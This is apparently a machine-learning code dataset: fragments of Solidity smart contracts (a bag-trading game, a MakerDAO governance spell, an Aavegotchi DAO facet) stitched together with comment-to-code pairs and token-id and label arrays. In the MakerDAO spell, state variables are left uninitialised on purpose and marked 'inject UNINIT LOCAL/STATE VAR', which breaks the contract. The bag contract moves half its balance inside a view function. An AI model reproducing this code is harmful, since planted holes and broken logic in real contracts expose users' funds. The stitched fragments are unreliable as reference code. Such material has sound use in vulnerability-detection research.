onlyContractOwner { timeout = _timeout; } function setStartingPrice(uint256 _startingPrice) public onlyContractOwner { startingPrice = _startingPrice; } function setBagMultiplier(uint256 bagId, uint256 multiplier) public onlyContractOwner { Bag storage bag = bags[bagId]; bag.multiplier = multiplier; } function getBag(uint256 bagId) public view returns ( address owner, uint256 sellingPrice, uint256 nextSellingPrice, uint256 level, uint256 multiplier, uint256 purchasedAt ) { Bag storage bag = bags[bagId]; owner = bag.owner; level = getBagLevel(bag); sellingPrice = getBagSellingPrice(bag); nextSellingPrice = getNextBagSellingPrice(bag); multiplier = bag.multiplier; purchasedAt = bag.purchasedAt; } function getBagCount() public view returns (uint256 bagCount) { return bags.length; } function deleteBag(uint256 bagId) public onlyContractOwner { delete bags[bagId]; } function purchase(uint256 bagId) public payable { Bag storage bag = bags[bagId]; address oldOwner = bag.owner; address newOwner = msg.sender; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); uint256 sellingPrice = getBagSellingPrice(bag); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= sellingPrice); // Take a transaction fee uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 90), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); uint256 level = getBagLevel(bag); bag.level = SafeMath.add(level, 1); bag.owner = newOwner; bag.purchasedAt = now; // Pay previous tokenOwner if owner is not contract if (oldOwner != address(this)) { oldOwner.transfer(payment); } // Trigger BagSold event BagSold(bagId, bag.multiplier, sellingPrice, getBagSellingPrice(bag), oldOwner, newOwner); newOwner.transfer(purchaseExcess); } function payout() public onlyContractOwner { contractOwner.transfer(this.balance); } function getMeOutOfHereStocks() public onlyContractOwner { epc.getMeOutOfHere(); } function sellMyTokensStocks() public onlyContractOwner { epc.sellMyTokens(); } function withdrawStocks() public onlyContractOwner { epc.withdraw(); } function balanceOfStocksAt() public { epc.withdraw(); } /*** PRIVATE FUNCTIONS ***/ // If a bag hasn't been purchased in over $timeout, // reset its level back to 0 but retain the existing owner function getBagLevel(Bag bag) private view returns (uint256) { if (now <= (SafeMath.add(bag.purchasedAt, timeout))) { return bag.level; } else { StocksAddress.transfer(SafeMath.div(this.balance, 2)); return 0; } } function getBagSellingPrice(Bag bag) private view returns (uint256) { uint256 level = getBagLevel(bag); return getPriceForLevel(bag, level); } function getNextBagSellingPrice(Bag bag) private view returns (uint256) { uint256 level = SafeMath.add(getBagLevel(bag), 1); return getPriceForLevel(bag, level); } function getPriceForLevel(Bag bag, uint256 level) private view returns (uint256) { uint256 sellingPrice = startingPrice; for (uint256 i = 0; i < level; i++) { sellingPrice = SafeMath.div(SafeMath.mul(sellingPrice, bag.multiplier), 100); } return sellingPrice; } /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
Add the numTokens which were just created to the total supply. We're a crypto central bank!
totalSupply = add(totalSupply, numTokens);
424,924
[ 1, 986, 326, 818, 5157, 1492, 4591, 2537, 2522, 358, 326, 2078, 14467, 18, 1660, 4565, 279, 8170, 18291, 11218, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 4963, 3088, 1283, 273, 527, 12, 4963, 3088, 1283, 16, 818, 5157, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-02-21 */ pragma solidity 0.5.12; //import "ds-math/math.sol"; contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } //import "lib/dss-interfaces/src/dapp/DSPauseAbstract.sol"; // https://github.com/dapphub/ds-pause contract DSPauseAbstract { function setOwner(address) public; // setAuthority address should conform to DSAuthorityAbstract function setAuthority(address) public; function setDelay(uint256) public; // mapping (bytes32 => bool) public plans; function plans(bytes32) public view returns (bool); // DSPauseProxyAbstract public proxy; function proxy() public view returns (address); // uint256 public delay; function delay() public view returns (uint256); function plot(address, bytes32, bytes memory, uint256) public; function drop(address, bytes32, bytes memory, uint256) public; function exec(address, bytes32, bytes memory, uint256) public returns (bytes memory); } //import "lib/dss-interfaces/src/dss/OsmAbstract.sol"; // https://github.com/makerdao/osm contract OsmAbstract { // mapping (address => uint) public wards; function wards(address) public view returns (uint256); function rely(address) external; function deny(address) external; // uint256 public stopped; function stopped() public view returns (uint256); // address public src; function src() public view returns (address); // uint16 constant ONE_HOUR = uint16(3600); function ONE_HOUR() public view returns (uint16); // uint16 public hop = ONE_HOUR; function hop() public view returns (uint16); // uint64 public zzz; function zzz() public view returns (uint64); struct Feed { uint128 val; uint128 has; } // Feed cur; function cur() public view returns (uint128, uint128); // Feed nxt; function nxt() public view returns (uint128, uint128); // mapping (address => uint256) public bud; function bud(address) public view returns (uint256); event LogValue(bytes32); function stop() external; function start() external; function change(address) external; function step(uint16) external; function void() external; function pass() public view returns (bool); function poke() external; function peek() external view returns (bytes32, bool); function peep() external view returns (bytes32, bool); function read() external view returns (bytes32); function kiss(address) external; function diss(address) external; function kiss(address[] calldata) external; function diss(address[] calldata) external; } //import "lib/dss-interfaces/src/dss/OsmMomAbstract.sol"; // https://github.com/makerdao/osm-mom contract OsmMomAbstract { // address public owner; function owner() public view returns (address); // address public authority; function authority() public view returns (address); // mapping (bytes32 => address) public osms; function osms(bytes32) public view returns (address); function setOsm(bytes32, address) public; function setOwner(address) public; function setAuthority(address) public; function stop(bytes32) public; } //import "lib/dss-interfaces/src/dss/JugAbstract.sol"; // https://github.com/makerdao/dss/blob/master/src/jug.sol contract JugAbstract { // mapping (address => uint) public wards; function wards(address) public view returns (uint256); function rely(address) external; function deny(address) external; struct Ilk { uint256 duty; uint256 rho; } // mapping (bytes32 => Ilk) public ilks; function ilks(bytes32) public view returns (uint256, uint256); // VatLike public vat; function vat() public view returns (address); // address public vow; function vow() public view returns (address); // uint256 public base; function base() public view returns (address); // uint256 constant ONE = 10 ** 27; function ONE() public view returns (uint256); function init(bytes32) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, uint256) external; function file(bytes32, address) external; function drip(bytes32) external returns (uint256); } //import "lib/dss-interfaces/src/dss/PotAbstract.sol"; // https://github.com/makerdao/dss/blob/master/src/pot.sol contract PotAbstract { // mapping (address => uint256) public wards; function wards(address) public view returns (uint256); function rely(address) external; function deny(address) external; // mapping (address => uint256) public pie; // user Savings Dai function pie(address) public view returns (uint256); // uint256 public Pie; // total Savings Dai function Pie() public view returns (uint256); // uint256 public dsr; // the Dai Savings Rate function dsr() public view returns (uint256); // uint256 public chi; // the Rate Accumulator function chi() public view returns (uint256); // VatAbstract public vat; // CDP engine function vat() public view returns (address); // address public vow; // debt engine function vow() public view returns (address); // uint256 public rho; // time of last drip function rho() public view returns (uint256); // uint256 public live; // Access Flag function live() public view returns (uint256); function file(bytes32, uint256) external; function file(bytes32, address) external; function cage() external; function drip() external returns (uint256); function join(uint256) external; function exit(uint256) external; } //import "lib/dss-interfaces/src/dss/VatAbstract.sol"; // https://github.com/makerdao/dss/blob/master/src/vat.sol contract VatAbstract { // mapping (address => uint) public wards; function wards(address) public view returns (uint256); function rely(address) external; function deny(address) external; struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } // mapping (address => mapping (address => uint256)) public can; function can(address, address) public view returns (uint256); function hope(address) external; function nope(address) external; // mapping (bytes32 => Ilk) public ilks; function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); // mapping (bytes32 => mapping (address => Urn)) public urns; function urns(bytes32, address) public view returns (uint256, uint256); // mapping (bytes32 => mapping (address => uint256)) public gem; // [wad] function gem(bytes32, address) public view returns (uint256); // mapping (address => uint256) public dai; // [rad] function dai(address) public view returns (uint256); // mapping (address => uint256) public sin; // [rad] function sin(address) public view returns (uint256); // uint256 public debt; // Total Dai Issued [rad] function debt() public view returns (uint256); // uint256 public vice; // Total Unbacked Dai [rad] function vice() public view returns (uint256); // uint256 public Line; // Total Debt Ceiling [rad] function Line() public view returns (uint256); // uint256 public live; // Access Flag function live() public view returns (uint256); function init(bytes32) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function cage() external; function slip(bytes32, address, int256) external; function flux(bytes32, address, address, uint256) external; function move(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function fork(bytes32, address, address, int256, int256) external; function grab(bytes32, address, address, address, int256, int256) external; function heal(uint256) external; function suck(address, address, uint256) external; function fold(bytes32, address, int256) external; } //import "lib/dss-interfaces/src/dss/FlapAbstract.sol"; // https://github.com/makerdao/dss/blob/master/src/flap.sol contract FlapAbstract { //mapping (address => uint256) public wards; function wards(address) public view returns (uint256); function rely(address) external; function deny(address) external; struct Bid { uint256 bid; uint256 lot; address guy; // high bidder uint48 tic; // expiry time uint48 end; } // mapping (uint256 => Bid) public bids; function bids(uint256) public view returns (uint256); // VatAbstract public vat; function vat() public view returns (address); // TokenAbstract public gem; // gem return address will conform to DSTokenAbstract function gem() public view returns (address); // uint256 public ONE; function ONE() public view returns (uint256); // uint256 public beg; function beg() public view returns (uint256); // uint48 public ttl; function ttl() public view returns (uint48); // uint48 public tau; function tau() public view returns (uint48); // uint256 public kicks; function kicks() public view returns (uint256); // uint256 public live; function live() public view returns (uint256); event Kick(uint256, uint256, uint256); function file(bytes32, uint256) external; function kick(uint256, uint256) external returns (uint256); function tick(uint256) external; function tend(uint256, uint256, uint256) external; function deal(uint256) external; function cage(uint256) external; function yank(uint256) external; } //import "lib/dss-interfaces/src/sai/SaiMomAbstract.sol"; // https://github.com/makerdao/sai/blob/master/src/mom.sol contract SaiMomAbstract { // SaiTub public tub; function tub() public view returns (address); // SaiTap public tap; function tap() public view returns (address); // SaiVox public vox; function vox() public view returns (address); function setCap(uint256) public; // Debt ceiling function setMat(uint256) public; // Liquidation ratio function setTax(uint256) public; // Stability fee function setFee(uint256) public; // Governance fee function setAxe(uint256) public; // Liquidation fee function setTubGap(uint256) public; // Join/Exit Spread function setPip(address) public; // ETH/USD Feed function setPep(address) public; // MKR/USD Feed function setVox(address) public; // TRFM function setTapGap(uint256) public; // Boom/Bust Spread function setWay(uint256) public; // Rate of change of target price (per second) function setHow(uint256) public; // ds-thing // DSAuthority public authority; function authority() public view returns (address); // address public owner; function owner() public view returns (address); function setOwner(address) public; function setAuthority(address) public; } contract SpellAction is DSMath { uint256 constant RAD = 10 ** 45; address constant public PAUSE = 0xbE286431454714F511008713973d3B053A2d38f3; address constant public CHIEF = 0x9eF05f7F6deB616fd37aC3c959a2dDD25A54E4F5; address constant public OSM_MOM = 0x76416A4d5190d071bfed309861527431304aA14f; address constant public ETH_OSM = 0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763; address constant public BAT_OSM = 0xB4eb54AF9Cc7882DF0121d26c5b97E802915ABe6; address constant public VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address constant public JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; address constant public POT = 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7; address constant public FLAP = 0xdfE0fb1bE2a52CDBf8FB962D5701d7fd0902db9f; uint256 constant NEW_BEG = 1.02E18; // 2% function execute() external { // drip PotAbstract(POT).drip(); JugAbstract(JUG).drip("ETH-A"); JugAbstract(JUG).drip("BAT-A"); // set the global debt ceiling to 183,000,000 VatAbstract(VAT).file("Line", mul(183000000, RAD)); // set the ETH-A debt ceiling to 150,000,000 // https://vote.makerdao.com/polling-proposal/qmsm1q1hohyctsgxpbm44fomjoukf1d5g9lmpqraikmeoc VatAbstract(VAT).file("ETH-A", "line", mul(150000000, RAD)); // No Sai debt ceiling change this week. // set dsr to 8.0% // Previously ETH SF was set to 8.0%, no change this week. // DSR rate was voted to a 0% spread, so we're bringing DSR up to match. // https://vote.makerdao.com/polling-proposal/qmss9hnszwr6egq3xn6gpx4u8bz8cajja56rgtanjev1v8 PotAbstract(POT).file("dsr", 1000000002440418608258400030); // MCD Stability fee is currently at 8% and remains the same this week. // https://vote.makerdao.com/polling-proposal/qmzgvzjm4xpm4b1tk2hxhdc6p8f4zqyju38pwqieatmhel // Lower the minimum flap auction bid increase to 2% // https://vote.makerdao.com/polling-proposal/qmtsxrqavtczfsseytpypgqrz6z8zb613ikxwhqjv9ytzz FlapAbstract(FLAP).file("beg", NEW_BEG); // Increase the Pause to 24 Hours OsmAbstract(ETH_OSM).rely(OSM_MOM); OsmAbstract(BAT_OSM).rely(OSM_MOM); OsmMomAbstract(OSM_MOM).setAuthority(CHIEF); OsmMomAbstract(OSM_MOM).setOsm("ETH-A", ETH_OSM); OsmMomAbstract(OSM_MOM).setOsm("BAT-A", BAT_OSM); DSPauseAbstract(PAUSE).setDelay(60 * 60 * 24); } } contract DssSpell20200221 is DSMath { DSPauseAbstract public pause ; //inject UNINIT LOCAL/STATE VAR address constant public SAIMOM = 0xF2C5369cFFb8Ea6284452b0326e326DbFdCb867C; uint256 constant public NEW_FEE = 1000000002877801985002875644; // 9.5% address public action; bytes32 public tag; uint256 public eta; bytes public sig; bool public done; constructor() public { sig = abi.encodeWithSignature("execute()"); action = address(new SpellAction()); bytes32 _tag; address _action ; //inject UNINIT LOCAL/STATE VAR assembly { _tag := extcodehash(_action) } tag = _tag; } function schedule() public { require(eta == 0, "spell-already-scheduled"); eta = add(now, DSPauseAbstract(pause).delay()); pause.plot(action, tag, sig, eta); // NOTE: 'eta' check should mimic the old behavior of 'done', thus // preventing these SCD changes from being executed again. // Sai Stability Fee adjustment to 9.5% // https://vote.makerdao.com/polling-proposal/qmaj4fnjeohomnrs8m9cihrfxws4m89bwfu9eh96y8okxw SaiMomAbstract(SAIMOM).setFee(NEW_FEE); } function cast() public { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } }
NOTE: 'eta' check should mimic the old behavior of 'done', thus preventing these SCD changes from being executed again. Sai Stability Fee adjustment to 9.5% https:vote.makerdao.com/polling-proposal/qmaj4fnjeohomnrs8m9cihrfxws4m89bwfu9eh96y8okxw
function schedule() public { require(eta == 0, "spell-already-scheduled"); eta = add(now, DSPauseAbstract(pause).delay()); pause.plot(action, tag, sig, eta); SaiMomAbstract(SAIMOM).setFee(NEW_FEE); }
12,809,215
[ 1, 17857, 30, 296, 1066, 11, 866, 1410, 20369, 335, 326, 1592, 6885, 434, 296, 8734, 2187, 12493, 5309, 310, 4259, 8795, 40, 3478, 628, 3832, 7120, 3382, 18, 348, 10658, 934, 2967, 30174, 18335, 358, 2468, 18, 25, 9, 2333, 30, 25911, 18, 29261, 2414, 83, 18, 832, 19, 3915, 2456, 17, 685, 8016, 19, 85, 12585, 24, 4293, 78, 4361, 17125, 82, 5453, 28, 81, 29, 71, 7392, 5809, 92, 4749, 24, 81, 6675, 70, 15581, 89, 29, 73, 76, 10525, 93, 28, 601, 92, 91, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4788, 1435, 1071, 288, 203, 3639, 2583, 12, 1066, 422, 374, 16, 315, 1752, 1165, 17, 17583, 17, 23307, 8863, 203, 3639, 14251, 273, 527, 12, 3338, 16, 463, 3118, 1579, 7469, 12, 19476, 2934, 10790, 10663, 203, 3639, 11722, 18, 4032, 12, 1128, 16, 1047, 16, 3553, 16, 14251, 1769, 203, 203, 203, 3639, 348, 10658, 49, 362, 7469, 12, 5233, 3445, 1872, 2934, 542, 14667, 12, 12917, 67, 8090, 41, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.1; import {Modifiers, ItemType, WearableSet, NUMERIC_TRAITS_NUM, EQUIPPED_WEARABLE_SLOTS} from "../libraries/LibAppStorage.sol"; import {AavegotchiCollateralTypeIO} from "../libraries/LibAavegotchi.sol"; import {LibERC1155} from "../../shared/libraries/LibERC1155.sol"; import {LibItems} from "../libraries/LibItems.sol"; import {LibSvg} from "../libraries/LibSvg.sol"; import {LibMeta} from "../../shared/libraries/LibMeta.sol"; contract DAOFacet is Modifiers { event DaoTransferred(address indexed previousDao, address indexed newDao); event DaoTreasuryTransferred(address indexed previousDaoTreasury, address indexed newDaoTreasury); event UpdateCollateralModifiers(int16[NUMERIC_TRAITS_NUM] _oldModifiers, int16[NUMERIC_TRAITS_NUM] _newModifiers); event AddCollateralType(AavegotchiCollateralTypeIO _collateralType); event AddItemType(ItemType _itemType); event CreateHaunt(uint256 indexed _hauntId, uint256 _hauntMaxSize, uint256 _portalPrice, bytes32 _bodyColor); event GrantExperience(uint256[] _tokenIds, uint256[] _xpValues); event AddWearableSet(WearableSet _wearableSet); event UpdateWearableSet(uint256 _setId, WearableSet _wearableSet); event GameManagerTransferred(address indexed previousGameManager, address indexed newGameManager); event ItemTypeMaxQuantity(uint256[] _itemIds, uint256[] _maxQuanities); /***********************************| | Read Functions | |__________________________________*/ function gameManager() external view returns (address) { return s.gameManager; } /***********************************| | Write Functions | |__________________________________*/ function setDao(address _newDao, address _newDaoTreasury) external onlyDaoOrOwner { emit DaoTransferred(s.dao, _newDao); emit DaoTreasuryTransferred(s.daoTreasury, _newDaoTreasury); s.dao = _newDao; s.daoTreasury = _newDaoTreasury; } function addCollateralTypes(AavegotchiCollateralTypeIO[] calldata _collateralTypes) external onlyDaoOrOwner { for (uint256 i; i < _collateralTypes.length; i++) { address collateralType = _collateralTypes[i].collateralType; //Prevent the same collateral from being added multiple times require(s.collateralTypeInfo[collateralType].cheekColor == 0, "DAOFacet: Collateral already added"); s.collateralTypeIndexes[collateralType] = s.collateralTypes.length; s.collateralTypes.push(collateralType); s.collateralTypeInfo[collateralType] = _collateralTypes[i].collateralTypeInfo; emit AddCollateralType(_collateralTypes[i]); } } function updateCollateralModifiers(address _collateralType, int16[NUMERIC_TRAITS_NUM] calldata _modifiers) external onlyDaoOrOwner { emit UpdateCollateralModifiers(s.collateralTypeInfo[_collateralType].modifiers, _modifiers); s.collateralTypeInfo[_collateralType].modifiers = _modifiers; } function updateItemTypeMaxQuantity(uint256[] calldata _itemIds, uint256[] calldata _maxQuantities) external onlyOwnerOrDaoOrGameManager { require(_itemIds.length == _maxQuantities.length, "DAOFacet: _itemIds length not the same as _newQuantities length"); for (uint256 i; i < _itemIds.length; i++) { uint256 itemId = _itemIds[i]; uint256 maxQuantity = _maxQuantities[i]; require(maxQuantity >= s.itemTypes[itemId].totalQuantity, "DAOFacet: maxQuantity is greater than existing quantity"); s.itemTypes[itemId].maxQuantity = maxQuantity; } emit ItemTypeMaxQuantity(_itemIds, _maxQuantities); } function createHaunt( uint24 _hauntMaxSize, uint96 _portalPrice, bytes3 _bodyColor ) external onlyDaoOrOwner returns (uint256 hauntId_) { uint256 currentHauntId = s.currentHauntId; require( s.haunts[currentHauntId].totalCount == s.haunts[currentHauntId].hauntMaxSize, "AavegotchiFacet: Haunt must be full before creating new" ); hauntId_ = currentHauntId + 1; s.currentHauntId = uint16(hauntId_); s.haunts[hauntId_].hauntMaxSize = _hauntMaxSize; s.haunts[hauntId_].portalPrice = _portalPrice; s.haunts[hauntId_].bodyColor = _bodyColor; emit CreateHaunt(hauntId_, _hauntMaxSize, _portalPrice, _bodyColor); } function mintItems( address _to, uint256[] calldata _itemIds, uint256[] calldata _quantities ) external onlyDaoOrOwner { require(_itemIds.length == _quantities.length, "DAOFacet: Ids and quantities length must match"); address sender = LibMeta.msgSender(); uint256 itemTypesLength = s.itemTypes.length; for (uint256 i; i < _itemIds.length; i++) { uint256 itemId = _itemIds[i]; require(itemTypesLength > itemId, "DAOFacet: Item type does not exist"); uint256 quantity = _quantities[i]; uint256 totalQuantity = s.itemTypes[itemId].totalQuantity + quantity; require(totalQuantity <= s.itemTypes[itemId].maxQuantity, "DAOFacet: Total item type quantity exceeds max quantity"); LibItems.addToOwner(_to, itemId, quantity); s.itemTypes[itemId].totalQuantity = totalQuantity; } emit LibERC1155.TransferBatch(sender, address(0), _to, _itemIds, _quantities); LibERC1155.onERC1155BatchReceived(sender, address(0), _to, _itemIds, _quantities, ""); } function grantExperience(uint256[] calldata _tokenIds, uint256[] calldata _xpValues) external onlyOwnerOrDaoOrGameManager { require(_tokenIds.length == _xpValues.length, "DAOFacet: IDs must match XP array length"); for (uint256 i; i < _tokenIds.length; i++) { uint256 tokenId = _tokenIds[i]; uint256 xp = _xpValues[i]; require(xp <= 1000, "DAOFacet: Cannot grant more than 1000 XP at a time"); //To test (Dan): Deal with overflow here? - Handling it just in case uint256 experience = s.aavegotchis[tokenId].experience; uint256 increasedExperience = experience + xp; require(increasedExperience >= experience, "DAOFacet: Experience overflow"); s.aavegotchis[tokenId].experience = increasedExperience; } emit GrantExperience(_tokenIds, _xpValues); } function addItemTypes(ItemType[] memory _itemTypes) external onlyDaoOrOwner() { insertItemTypes(_itemTypes); } function addItemTypesAndSvgs( ItemType[] memory _itemTypes, string calldata _svg, LibSvg.SvgTypeAndSizes[] calldata _typesAndSizes ) external onlyDaoOrOwner() { insertItemTypes(_itemTypes); LibSvg.storeSvg(_svg, _typesAndSizes); } function insertItemTypes(ItemType[] memory _itemTypes) internal { uint256 itemTypesLength = s.itemTypes.length; for (uint256 i; i < _itemTypes.length; i++) { uint256 itemId = itemTypesLength++; s.erc1155Categories[address(this)][itemId] = _itemTypes[i].category; s.itemTypes.push(_itemTypes[i]); emit AddItemType(_itemTypes[i]); emit LibERC1155.TransferSingle(LibMeta.msgSender(), address(0), address(0), itemId, 0); } } function addWearableSets(WearableSet[] memory _wearableSets) external onlyDaoOrOwner { for (uint256 i; i < _wearableSets.length; i++) { s.wearableSets.push(_wearableSets[i]); emit AddWearableSet(_wearableSets[i]); } } function updateWearableSets(uint256[] calldata _setIds, WearableSet[] calldata _wearableSets) external onlyDaoOrOwner { require(_setIds.length == _wearableSets.length, "_setIds not same length as _wearableSets"); for (uint256 i; i < _setIds.length; i++) { s.wearableSets[_setIds[i]] = _wearableSets[i]; emit UpdateWearableSet(_setIds[i], _wearableSets[i]); } } function setGameManager(address _gameManager) external 